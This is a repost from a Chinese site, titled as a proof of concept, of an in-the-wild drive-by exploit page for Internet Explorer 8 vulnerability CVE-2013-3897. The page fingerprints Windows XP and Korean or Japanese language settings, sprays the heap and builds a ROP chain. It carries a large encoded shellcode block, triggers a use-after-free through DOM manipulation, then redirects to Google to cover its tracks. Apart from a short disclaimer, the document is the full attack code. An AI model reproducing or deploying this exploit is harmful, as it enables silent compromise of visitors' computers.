CVE-2013-3897 POC

发布时间：2014-07-15 11:50:28作者：知识屋
<!-- 
CVE-2013-3897 exploit sample. 
decs: http://blog.spiderlabs.com/2013/10/another-day-another-ie-zero-day.
source: http://1.234.31.154/mii/guy2.html?
-->
<!doctype html>
<html>
<head>
<title>Naver</title>
<meta http-equiv="Cache-Control" content="no-cache"/>
<style>
                body {
                        font-family: "Courier New";
                        color:white;
                        background-color:white;
                }
</style>
<script type='text/javascript'>

var att = 1;
var lang = 0;
var i=0;
var vault=new Array();
var str=unescape("%u1414%u1414");
while (str.length < 0x50) str=str+str;
str=str.substr(0,(0x48-2)/2);
for (i=0;i<2000;i++) {
vault.push(document.createElement("div"));
vault[i].setAttribute("title",str);}
for (i=1000;i<2000;i++) vault[i].setAttribute("title","");
CollectGarbage();


if(readcookie())
{
        att = 0;
}
else
{
        setcookie();
}

if(navigator.appName.indexOf("Microsoft Internet Explorer") == -1) {att = 0;}
if(navigator.userAgent.indexOf("Windows NT 5.1") == -1) {att = 0;}
if(navigator.userAgent.indexOf("MSIE 8.0") == -1) {att = 0;}

if(navigator.systemLanguage == navigator.userLanguage)
{
        if(navigator.systemLanguage.indexOf("ko") != -1) {lang = 1;}
        else if(navigator.systemLanguage.indexOf("ja") != -1) {lang = 1;}
        else{lang = 0;}
}
else
{
att = 0;
}

if(lang == 0){att = 0;}


sss = unescape("%u9090%u9090%u9090%u9090%u9090%u11eb%u4a5a%uc933%u8166%uF3c1%u800C%u0a34%ue294%uebfa%ue805%uffea%uffff%u7cf4%u9494%u9494%u15c9%u8779%ud484%u1f94%u1961%uea12%ud486%uc494%uf27c%u9495%u1994%uf312%ud486%uc494%uce7c%u9495%u1994%uc112%ud486%uc494%uda7c%u9495%uc294%u2e7c%u9494%ufe94%u6b94%u1f02%ud486%uf594%uc157%u781f%ue11f%u199c%u5512%ud486%uc494%u026b%u8603%u94d4%uf1fe%u6bc4%u0f02%ud486%u6b94%u5d44%u9056%uc194%u781f%u5017%u1f60%u9ce1%uc919%uc768%ud4fe%uf0fe%u121f%u86fa%u94d4%u6bc4%u0702%ud486%u1f94%ufa12%ud486%u1d94%u60d1%u521f%u6791%ud484%ubf94%u60d1%u7c17%u1d91%u6cd1%u95fe%u0a19%u862e%u94d4%u1fc7%ufa12%ud486%uc494%u026b%u86cb%u94d4%u90fe%ud119%uc46c%u121f%u86fa%u94d4%u5417%uc495%u026b%u86cb%u94d4%u1219%u861f%u94d4%u90fe%u2cc4%u8467%u94d4%u5297%u5417%uc497%u026b%u86cb%u94d4%u565d%u9490%u94fe%u942c%u9494%u6b94%u5d44%u9056%uc194%u781f%u5017%u1f64%u9ce1%u1219%u8659%u94d4%u19c4%u4912%ud486%uc494%u026b%u86e6%u94d4%ud11d%u1964%u68d1%u6bc4%u64e1%u026b%u86e2%u94d4%ue16b%ufe68%ufc94%u9b6b%u948b%u026b%u860b%u94d4%ud11d%ufe6c%ufcd4%ua494%u9494%u94fc%u9484%ufe94%u6b94%u6ce1%u026b%u8637%u94d4%ud11d%ufe60%ufc94%u9e84%u9494%u1219%u8671%u94d4%u6bc4%u60e1%ue16b%u6b6c%u3302%ud486%ufe94%ufe94%ufe94%u6b94%u60e1%u94fe%u94fe%ue16b%u6b6c%u3f02%ud486%u5d94%u9056%uf494%ue01f%ub0b0%u037c%u9494%ufc94%u4539%ud5a0%u7cc4%u94b5%u9494%u6bc2%u1f44%ubf4c%u3854%u5410%u6fe1%u6a1f%u1139%ue054%uc49e%u7cc7%u9493%u9494%u7f3f%uf565%u9056%uf494%uf81f%ub0b0%ud11f%u1fa8%ubcc0%u97ec%u1f41%u8cde%uce1f%u97b4%u7749%udddd%ua01f%u971f%ua761%uf46b%u421f%u54a7%u4463%u96a6%u9c27%u7c45%u91e7%ub4a1%u2c17%u6a79%ue15f%u1467%u94ae%u97e0%u7fd6%u6373%u1d44%ub090%uaff5%ub0e8%ue1bc%u1f5e%ub0ce%u4997%u1ff2%udf98%uce1f%u9788%u1f49%u1f90%u5197%u967f%u54bf%ud01d%u88b0%u56f5%u949c%ua7f4%uf054%ud41f%u11a4%uec54%u1f98%u98d4%ue41f%u3988%ud41f%u7f9c%u1f9d%ua0d4%ud419%u1fe8%ua8d4%ud01d%u88b0%u57f5%ue0fa%uf8f0%u94f8%u382c%uec0c%ub9d8%u599d%u9494%u9494%ue7e1%ue6f1%ua6a7%u9694%udf2f%ub7f1%u3fa7%uca11%ud23b%u94ef%u9494%uff94%ue6f1%uf1fa%ua7f8%u94a6%ude09%ufcf6%ue515%ud461%uc757%u1737%u402f%ued57%u4539%ud5a0%ue88b%u6b5d%uc450%ua747%u68b6%u4e1d%u2e41%u9a0f%uebf1%u5bde%u9494%u9494%u942c%u9494%u9494%u7d94%u0404%u0404%u9404%ufcc7%ufbf0%ue2f7%ubae3%uf8f0%u94f8%ue6c4%uf3fb%uf5e6%ub4f9%uf5d9%uf5fa%uf1f3%u94e6%ue6c4%uf3fb%uf5f9%u94fa%u7cf4%u9494%u9494%u15c9%u8779%ud484%u1f94%u1961%u1a12%ud483%uc494%ue47c%u9492%u1994%u1412%ud483%uc494%uf07c%u9492%u1994%u8612%ud48c%uc494%ucc7c%u9492%u1994%u4312%ud483%uc494%ud87c%u9492%u1994%ub512%ud48c%uc494%ud47c%u9492%u1994%u6312%ud483%uc494%ua07c%u9492%u1994%u7312%ud483%uc494%ubc7c%u9492%u1994%u7d12%ud48d%uc494%u026b%u837b%u94d4%u6c17%ue195%u5795%u54fc%u9db3%u6b94%u5302%ud483%uc294%u95fe%ub47c%u9494%uc294%u96fe%u8c7c%u9494%uc294%u97fe%u847c%u9494%uc294%u90fe%u9c7c%u9494%uc294%u237c%u9490%uf594%uc157%u781f%u5015%u6adc%u6b6b%ue11f%ufc98%u9590%u9494%ud4fe%u026b%u832f%u94d4%ud11d%ufc68%u9590%u9494%ud4fe%u026b%u832f%u94d4%u111d%u6af4%u6b6b%ud119%uc46c%u8dfc%u9694%ufe94%u1794%u9ce9%ue195%u1992%u1112%ud48c%u1794%u9ce9%ue196%u1992%u0a12%ud48c%u1794%u9ce9%ue197%u1992%u2a12%ud48c%u1794%u9ce9%ue190%u1992%u7212%ud48c%uc494%u96fc%u9494%u6b14%ube02%ud48c%u1794%u9ce9%ue095%u1798%u9ce9%ue096%u1792%u9ce9%ue190%u7f96%u17b8%u9ce9%ue197%u9fb6%ue154%ufe8a%u1994%u200a%ud48d%uc794%u026b%u833b%u94d4%u94fe%u0a19%u8d5b%u94d4%u6bc7%u3b02%ud483%u5d94%u9c56%u9f94%ue054%u5d9d%u9c56%u7d94%u9766%u9494%ud153%u6b54%u9494%u1994%u54d1%u6bc4%u68e1%ud153%u9564%u9494%u1994%u64d1%ufec4%u1794%u9ce9%ue095%u1792%u9ce9%ue196%u1992%ufe12%ud48c%u1794%u9ce9%ue190%u1992%ue212%ud48c%uc494%ue16b%u6b6c%uba02%ud48c%u9f94%ue054%u5d90%u9c56%u1794%u9ce9%ue095%u1792%u9ce9%ue196%u1992%uc00a%ud48c%u1794%u9ce9%ue190%u1992%ud20a%ud48c%uc794%ue16b%u6b68%u1202%ud483%u5394%u1611%u6b6a%u946b%u9494%u1994%u1611%u6b6a%uc46b%ue16b%u6b68%u5b02%ud483%u1794%u6b6c%u90e1%u565d%u949c%u94fe%u94fe%ue917%u959c%u92e0%ue917%u969c%u9de1%u0a19%u8cf4%u94d4%u7fc7%ufe96%u6b94%u68e1%u0a19%u8c6b%u94d4%ufec7%u6b94%u4b02%ud483%u5394%ud811%u6b6a%u946b%u9494%u5394%udc11%u6b6a%u946b%u9494%u1f94%ud811%u6b6a%ud46b%u111d%u6ad8%u6b6b%ue4a9%u9483%ue694%u5d90%u9c56%ufe94%u6b9e%u5302%ud483%u1794%u9ce9%ue195%u1992%u9f12%ud48d%u1794%u9ce9%ue196%u1992%uda12%ud48d%u1794%u9ce9%ue190%u1992%u0c12%ud48d%uc494%u94fe%u026b%u8c9e%u94d4%u549f%u109b%u9629%u9494%u111d%u6acc%u6b6b%u14fc%u9494%ufc94%u945c%u9494%uf0fe%u94fe%u94fe%u95fe%u216b%u6acc%u6b6b%u026b%u8c92%u94d4%ue917%u959c%u92e1%u1219%u8dba%u94d4%ue917%u969c%u92e1%u1219%u8d17%u94d4%ue917%u909c%u92e1%u1219%u8d36%u94d4%u19c4%u9012%ud48d%uc494%u94fe%u216b%u6acc%u6b6b%u026b%u8c96%u94d4%u549f%ua4e0%u111d%u6ac0%u6b6b%u94fe%u94fe%u95fc%u9496%u6b94%uc021%u6b6a%u6b6b%u6a02%ud483%ufe94%ufe94%ufc94%u9696%u9494%u216b%u6ac0%u6b6b%u026b%u836a%u94d4%ue917%u959c%u92e1%u1219%u8d8d%u94d4%ue917%u969c%u92e1%u1219%u8df6%u94d4%ue917%u909c%u92e1%u1219%u8d0c%u94d4%ufec4%u6b94%u9e02%ud48c%u1d94%ucc11%u6b6a%u176b%u9ce9%ue195%u1992%ua712%ud48d%u1794%u9ce9%ue196%u1992%u1c12%ud48d%u1794%u9ce9%ue190%u1992%u3d12%ud48d%uc494%u1219%u8d90%u94d4%ufec4%u6b94%ucc21%u6b6a%u6b6b%u9602%ud48c%u9f94%ue054%u1da4%uc011%u6b6a%ufe6b%ufe94%ufc94%u9695%u9494%u216b%u6ac0%u6b6b%u026b%u836a%u94d4%u94fe%u94fe%u96fc%u9496%u6b94%uc021%u6b6a%u6b6b%u6a02%ud483%u1794%u9ce9%ue195%u17bf%udc29%u6b6a%u946b%u86e1%u1153%u6adc%u6b6b%u9495%u9494%u1219%u8daa%u94d4%u847f%u1153%u6adc%u6b6b%u9494%u9494%u1219%u8ddd%u94d4%ue917%u969c%u92e0%ue917%u909c%u92e1%u1219%u8d07%u94d4%u19c4%u9012%ud48d%uc494%u94fe%u216b%u6acc%u6b6b%u026b%u8c96%u94d4%u549f%ua4e0%u111d%u6ac0%u6b6b%u94fe%u94fe%u95fc%u9496%u6b94%uc021%u6b6a%u6b6b%u6a02%ud483%ufe94%ufe94%ufc94%u9696%u9494%u216b%u6ac0%u6b6b%u026b%u836a%u94d4%ue917%u959c%u92e1%u1219%u8db2%u94d4%ue917%u969c%u92e0%ue917%u909c%u92e1%u1219%u8de4%u94d4%ufec4%u6b94%u9e02%ud48c%u1d94%ucc11%u6b6a%u176b%u9ce9%ue195%u1992%ua712%ud48d%u1794%u9ce9%ue096%u1792%u9ce9%ue190%u1992%u1c12%ud48d%uc494%u1219%u8d90%u94d4%ufec4%u6b94%ucc21%u6b6a%u6b6b%u9602%ud48c%u9f94%ue054%u1da4%uc011%u6b6a%ufe6b%ufe94%ufc94%u9695%u9494%u216b%u6ac0%u6b6b%u026b%u836a%u94d4%u94fe%u94fe%u96fc%u9496%u6b94%uc021%u6b6a%u6b6b%u6a02%ud483%u1794%u9ce9%ue195%u1992%uaa12%ud48d%u1794%u9ce9%ue096%u1792%u9ce9%ue190%u1992%u0712%ud48d%uc494%u1219%u8d90%u94d4%ufec4%u6b94%ucc21%u6b6a%u6b6b%u9602%ud48c%u9f94%ue054%u1da4%uc011%u6b6a%ufe6b%ufe94%ufc94%u9695%u9494%u216b%u6ac0%u6b6b%u026b%u836a%u94d4%u94fe%u94fe%u96fc%u9496%u6b94%uc021%u6b6a%u6b6b%u6a02%ud483%u7d94%u687d%u6b6b%u565d%u949c%u1fc1%u1778%u7c50%ue11f%ufc9c%u9590%u9494%ud4fe%u026b%u832f%u94d4%ud11d%uc468%u90fc%u9495%u6b94%u2702%ud483%u1994%uae0a%ud48c%uc794%ue16b%u6b68%u1202%ud483%u6b94%u68e1%u026b%u8303%u94d4%u94fe%u94fe%ue16b%u1968%ucb0a%ud483%uc794%u94fe%u026b%u8c8d%u94d4%u549f%u96e0%u707f%u94fe%u94fe%u97fe%u94fe%u97fe%u97fe%ue16b%u6b68%u0b02%ud483%u1d94%u6cd1%ue917%u946c%u109b%u9439%u9494%u94fe%ue16b%u6b6c%u0f02%ud483%u1d94%u60d1%ue915%u7c60%u9497%u9b94%u0612%u9494%u1594%u60e9%u35b4%u9493%u179b%u9411%u9494%ue16b%ufe60%u6bd4%u2f02%ud483%u1d94%u64d1%ud153%u9478%u9494%ufe94%u1994%u78d1%u6bc4%u60e1%ue16b%u6b64%u6ce1%u026b%u8333%u94d4%u549f%uc3e0%ud11f%uf264%u9453%uced9%ud153%u9660%u9494%ufe94%ufe94%ufe94%u6b94%u6ce1%u026b%u835f%u94d4%u6c17%ue06b%ufea0%u5394%u78d1%u9494%u9494%ud119%uc478%ue16b%u6b60%u64e1%ue16b%u6b6c%u3f02%ud483%u9f94%ue054%u6b80%u6ce1%u026b%u8337%u94d4%u94fe%ue16b%u6b68%u3b02%ud483%u5d94%u9056%uf494%ue01f%ub0b0%u037c%u9494%ufc94%u4539%ud5a0%u7cc4%u94b5%u9494%u6bc2%u1f44%ubf4c%u3854%u5410%u6fe1%u6a1f%u1139%ue054%uc49e%u7cc7%u9493%u9494%u7f3f%uf565%u9056%uf494%uf81f%ub0b0%ud11f%u1fa8%ubcc0%u97ec%u1f41%u8cde%uce1f%u97b4%u7749%udddd%ua01f%u971f%ua761%uf46b%u421f%u54a7%u4463%u96a6%u9c27%u7c45%u91e7%ub4a1%u2c17%u6a79%ue15f%u1467%u94ae%u97e0%u7fd6%u6373%u1d44%ub090%uaff5%ub0e8%ue1bc%u1f5e%ub0ce%u4997%u1ff2%udf98%uce1f%u9788%u1f49%u1f90%u5197%u967f%u54bf%ud01d%u88b0%u56f5%u949c%ua7f4%uf054%ud41f%u11a4%uec54%u1f98%u98d4%ue41f%u3988%ud41f%u7f9c%u1f9d%ua0d4%ud419%u1fe8%ua8d4%ud01d%u88b0%u57f5%ue0fc%ue4e0%ubbae%ua5bb%ua6ba%ua0a7%ua7ba%ubaa5%ua1a5%ubba0%ufdf9%ubbfd%ufdf2%uf0e6%uf3ba%uf2fd%ufa94%uf0e0%uf8f8%u2c94%u0c38%u94ec%u9494%uff94%ue6f1%uf1fa%ua7f8%u94a6%ufb4a%u4ab1%u158f%u7be9%ub94b%u181d%ude09%ufcf6%uf5ce%uc04c%ue307%ub5e3%ub8db%ubcd1%u7d09%u47be%ue515%ud461%uc757%u1737%u4539%ud5a0%ue88b%u6b5d%ua22e%u9e55%u09d6%u1111%u7f7b%u3a83%u9494%u9494%ufce7%uf8f1%ua7f8%u94a6%u0c1f%ua51e%u9494%u9494%ufce7%ue3f8%ue4f5%u94fd%u2fb5%ub193%u9494%u9494%ue7e1%ue6f1%ua6a7%u9094%uf31e%u4c12%ud6c5%uabe8%ufeeb%ub7fe%u3fa7%u9411%u9494%ue194%uf8e6%ufbf9%u94fa%u408d%u0657%u9494%u9494%uf0f5%uf5e2%ufde4%ua6a7%u0d94%u8dc2%uaf59%u239d%u3b1c%u8c96%u9410%u9494%uf994%ufdf5%ua4fa%ua5a4%uf3ba%uf2fd%uc894%ufae1%ufafd%ua4e7%ua4a4%uf5ba%uf1ed%uc894%ufac1%ufafd%ue0e7%uf1ba%uf1ec%uc194%ufdfa%ue7fa%uf5e0%uf8f8%udd94%ue7fa%uf5e0%uf8f8%uf5c4%ufce0%uc694%ufbfb%ud0e0%ue6fd%uc694%ud3d1%uc7cb%u94ce%udbc7%uc0d2%ud5c3%ud1c6%uc8c8%ufcd5%ud8fa%uf6f5%uc8c8%ua7c2%ufdd8%uf1e0%uc794%ud2db%uc3c0%uc6d5%uc8d1%ud5c8%ufafc%uf5d8%uc8f6%uc2c8%ub4a7%ua2a7%ub4a1%uf8d7%ufafd%uf7fd%uc794%ud2db%uc3c0%uc6d5%uc8d1%udac8%udadc%ud7b4%ue6fb%ufbe4%uf5e6%ufde0%ufafb%uc8c8%uf5da%uf1e2%uc2e6%uf7f5%ufdf7%uf1fa%uc794%ud2db%uc3c0%uc6d5%uc8d1%ud1c8%uc0c7%ufbe7%ue0f2%uc8c8%ud8d5%uf5cd%u94f7%ue4fb%ufaf1%ud694%ue0e1%ufbe0%u94fa%ua7c2%ud8b4%ue0fd%ub4f1%u3255%u5124%u94b4%ua7c2%ud8b4%ue0fd%ub4f1%u3255%u5124%uc294%ub4a7%ufdd8%uf1e0%u5594%u2432%u9451%u522a%u5b20%u542b%ub2bc%ubdda%u2a94%u2052%u2b5b%ubc70%udab2%u94bd%u3a5c%u5a54%uc294%ub4a7%ua2a7%ub4a1%u3851%u3a2c%u4420%u55b4%u2432%ub451%uc294%ub4a7%ua2a7%ub4a1%u3851%u3a2c%u4420%uc294%ub4a7%ua2a7%ub4a1%u3851%u3a2c%u4420%u55b4%u2432%u9451%u3255%u5124%u2a94%u2052%u2b5b%ubc54%udab2%u94bd%u3a5c%u5a54%u2a94%u2a5f%ub474%u7c2f%u3255%u2b94%ubc2d%ucdb2%u94bd%u522a%u5b20%u542b%ub2bc%ubdda%ufa94%ue7e0%ub4f0%uf7b9%ue5b4%ub9b4%ufae4%udab4%ud7c2%uf3d5%ufaf1%ubae0%ue4fa%u94f7%ue0fa%uf0e7%ub9b4%ub4f7%ub4e5%ue4b9%ub4fa%ue7da%ue2f5%ue2e7%ubaf7%ue4fa%u94f7%uaed7%uc4c8%ufbe6%ue6f3%uf9f5%ud2b4%uf8fd%ue7f1%udfc8%ue7f5%uf1e4%ue7e6%uedff%ud8b4%uf6f5%u9494%u9494%ub094%ufbd0%ufae3%ufbd8%uf0f5%ufbd7%uf1f0%uc0cb%uf1fc%uc7b0%uf1fc%uf8f8%ufbd7%uf1f0%ucb");



var Block                        = new Array();
var BlockNum                = 0x150;
var FillNNNSize                = 0x100000-0x01020;
var AdjustOffset        = 0x1414;
var HeadNNN                = unescape("%u1414%u1414");
var NNNs                        = unescape("%u1414%u1414");

var ate = 0;
var atz = 0;
var co = 0;
var pco = 0;
var jtc = 0;
var vPP = 0;

var ate1         = 0x77BD18D3 ;
var atz1         = 0x77BCEF5B ;
var co1          = 0x77BCF519 ;
var pco1         = 0x77BD3E25 ;
var jtc1         = 0x77BE746A ;
var vPP1         = 0x77BC1120 ;

if(lang == 1)
{
        ate = ate1;
        atz = atz1;
        co = co1;         
        pco = pco1;        
        jtc = jtc1;       
        vPP = vPP1; 
}


var pHeapBlock                = 0x14141400;

var HeadFill = HeadNNN;
while(HeadFill.length<0x1000) {HeadFill += HeadFill;}
HeadFill = HeadFill.substring(0, (AdjustOffset-0x24)/2);

HeadFill += S(ate);        
HeadFill += S(atz);
HeadFill += S(0x00000000);
HeadFill += S(co);
HeadFill += S(vPP - 8);
HeadFill += S(pco);
HeadFill += S(jtc);
HeadFill += S(pHeapBlock + 0x8C);
HeadFill += S(pHeapBlock + 0x8C);
HeadFill += S(0x10000);
HeadFill += S(0x00000040);
HeadFill += S(pHeapBlock + 0x4C);        

HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);
HeadFill += S(0x00000000);

HeadFill += NNNs;
HeadFill += NNNs;
HeadFill += NNNs;
HeadFill += NNNs;
HeadFill += sss;

var MidBlock = NNNs;
while(MidBlock.length<0x10000) { MidBlock+=MidBlock;}
HeadFill = HeadFill + MidBlock;
MidBlock = HeadFill.substring(0, 0x10000/2);

while(MidBlock.length < FillNNNSize) { MidBlock+=MidBlock;}
var WholeBlock = MidBlock.substring(0,FillNNNSize/2);
delete MidBlock;

if(att)
{
for (var i = 0; i < BlockNum; i++) {Block[i] = WholeBlock.substr(0, WholeBlock.length);}
}


function redir()
{
        window.location.href="http://www.google.com";
}
setTimeout("redir()", 3000);

function setcookie()
{
        var Then = new Date()      
        Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 )
        document.cookie = "Cookie1=KK20130912; expires="+ Then.toGMTString() 
}

function readcookie()
{  
        var cookieString = new String(document.cookie);

        if(cookieString.indexOf("KK20130912") == -1)
        {
                return 0
        }
        else
        {
                return 1;
        }
}

function S(dword)
{
        var t=unescape;
        var d=Number(dword).toString(16);
        while(d.length<8)
        {
                d='0' + d;
        }

        return t('%u'+d.substr(4,8)+'%u'+d.substr(0,4));
}

function Naver()
{

if(!att)
return;

var id_0 = document.createElement("textarea");
var id_2 = document.createElement("address");
document.body.appendChild(id_0);
document.body.appendChild(id_2);
document.body.contentEditable="true";
id_2.applyElement(id_0);
Math.atan2(0x999,"before all");

id_0.onselect=function(e){
Math.atan2(0x999,"before swap");
id_2.swapNode(document.createElement("mark"));
Math.atan2(0x999,"after swap");
}

id_0.onpropertychange=function(e){
Math.atan2(0x999,"before unselect");
var tile=new Array();
for (i=0;i<1000;i++) tile.push(document.createElement("div"));
document.execCommand("Unselect");
for (i=0;i<1000;i++) tile[i].setAttribute("title",str);
Math.atan2(0x999,"after unselect");
}
Math.atan2(0x999,"before select");
id_0.select();
Math.atan2(0x999,"after select");
CollectGarbage();
Math.atan2(0x999,"after gc");
}
</script>
</head>
<body onload='Naver();'></body>
</html>
（免责声明：文章内容如涉及作品内容、版权和其它问题，请及时与我们联系，我们将在第一时间删除内容，文章内容仅供参考）